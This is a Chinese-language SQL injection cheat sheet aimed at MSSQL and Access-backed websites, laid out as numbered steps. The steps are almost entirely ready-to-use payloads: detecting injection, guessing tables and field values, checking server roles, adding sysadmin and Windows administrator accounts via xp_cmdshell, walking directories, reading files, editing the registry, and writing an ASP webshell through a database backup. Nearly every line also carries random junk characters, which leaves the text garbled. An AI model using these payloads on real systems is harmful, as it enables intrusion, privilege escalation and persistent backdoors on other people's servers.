1.判断是否有注入;and 1=1 ;and 1=2 FD@! z
:
2.初步判断是否是mssql ;and user>0 ttw@nv%
@
J5o"JRJ"
3.注入参数是字符'and [查询条件] and ''=' S$H4xkKs
XW#4C*5?d
4.搜索时没过滤参数的'and [查询条件] and '%25'=' KcU,RTE
.Nf*Yqs0
5.判断数据库系统 8@qahEgQ
k{bba=<
;and (select count(*) from sysobjects)>0 mssql isd[l-wAmf
Z0'3.D,l
;and (select count(*) from msysobjects)>0 access U=yD!
iK#{#ebAoW
f/c}XCH_h
m:41zoV
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Qxvz}r.l]
E+2y-B)E
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 l1:j/[B=
_xC~44
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 o+t?OG/0
soohyK8
9.(1)猜字段的ascii值(access) 7RLh#D|
?)X@4Jem
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 LH_ 2oJ\
;PHnv5 x@f
(2)猜字段的ascii值(mssql) >r*Zm2($MR
%x *f{(8h
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Lf-8G5G
}n=NHHtJ
10.测试权限结构(mssql) z%KChU
Gt%kok
S3<v?tqLr
_SaK]7}m!
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- f/B--jq
h>/ViB@"W|
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- !+6l.`2WI
,J^Op
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- eXd(R>Mx
%;5hHRA
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- c5;ROnTm
QD<4(@c5|
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- }';&0p2Z
5^dw!^d
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~<%cc+;`
GEA;9TU|V
;and 1=(select IS_MEMBER('db_owner'));-- vy#(|[pL{
#J!?
:(m:
US|vYd}u+
39j d}]e
11.添加mssql和系统的帐户 (Gn[T1p?
,fw[ J
;exec master.dbo.sp_addlogin username;-- ~c^-DAgB
;exec master.dbo.sp_password null,username,password;-- 6&Dvp1`m
6!nb)auVi
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- `9+EhP$RS
Mb>XM7}PU
;exec master.dbo.xp_cmdshell 'net user username password taQ[>x7b
B<LavX>F
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- .;2!c'mT9
*ls6#j@
;exec master.dbo.xp_cmdshell 'net user username password /add';-- [f0HUbPX
CnH
R&`
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- mSfhl(<L
VO Qt{v{1|
/aqN`
wM)w[
12.(1)遍历目录 2YKM9Ks
~@8d[Tb
;create table dirs(paths varchar(100), id int) -z$0S%2?
kA4ei
;insert dirs exec master.dbo.xp_dirtree 'c:\' =T)2wcXBB
<.b$
gX
;and (select top 1 paths from dirs)>0 tZ^;{sM
1Ol]^'y7)
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) CD_f[u
{1aAm+
mM*yv
s8[9YfuW
(2)遍历目录 )6&\WNL-x
/8}+#h)[
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- V|\A?
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 C|\^uR0
ib\[ ~rg
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 nq f<NH3i
dyzwJ70K
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ]7kGHIJ|
l;*lPRoW,
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ]B3FTqR{i
_]UDmn[C
`^L<db^A
$|(|Qzi%
13.mssql中的存储过程 S}^s5ztm
^70 .g?(f[
xp_regenumvalues 注册表根键, 子键 d._gH#&v
BhW]Oq&
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 _MbVF>JOx
n>:c}QAJH
xp_regread 根键,子键,键值名 #)A?PO2
3>9 dJx4I
;exec xp_regread pq?[ wp"
NB5L{Gf6-
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 7 G[ GHc>
N~}v:rK>g
xp_regwrite 根键,子键, 值名, 值类型, 值 I^O:5x>[l
}gi1?a59
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 K-5"#
_jrA?pY
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |369@un6
P}+|`>L
xp_regdeletevalue 根键,子键,值名 _`@Xy!Ye
7
Mki?EG
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 B#GZmv1
Wqs.oh
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 _X%6 +0M
( X
'FQ
s/G5wRl<
ADyNNMcx
14.mssql的backup创建webshell ;;y@z[ >
z<[.MH`ln
use model UQ$\
an'
1Fvv/Tj
create table cmd(str image); bm tJU3Rm
j |'#5H`
insert into cmd(str) values (''); N
t>HztXd
3\p]esse
backup database model to disk='c:\l.asp'; y13CR2t6
E%k ]cZ
g~Nij~/
XU;{28P
15.mssql内置函数 5gc:Y`7t
2yJ7]+Jd7Y
;and (select @@version)>0 获得Windows的版本号 9!O+Ryy?\
iO?gF
;and user_name()='dbo' 判断当前系统的连接用户是不是sa np`gcj#
c69U1
;and (select user_name())>0 爆当前系统的连接用户 hpqHllL
2[8fFo>
;and (select db_name())>0 得到当前连接的数据库 a8bX"#OR&N
=0PNHO\gl
pu2 wEQ
/\ ,_P
16.简洁的webshell Qe @A5#
d6t)gG*5
use model uHUvntr
gfdPx:7^
create table cmd(str image); r{R[[]p
;Xfd1
insert into cmd(str) values (''); M73VeV3DL
<i{m.pR>
backup database model to disk='g:\wwwtest\l.asp';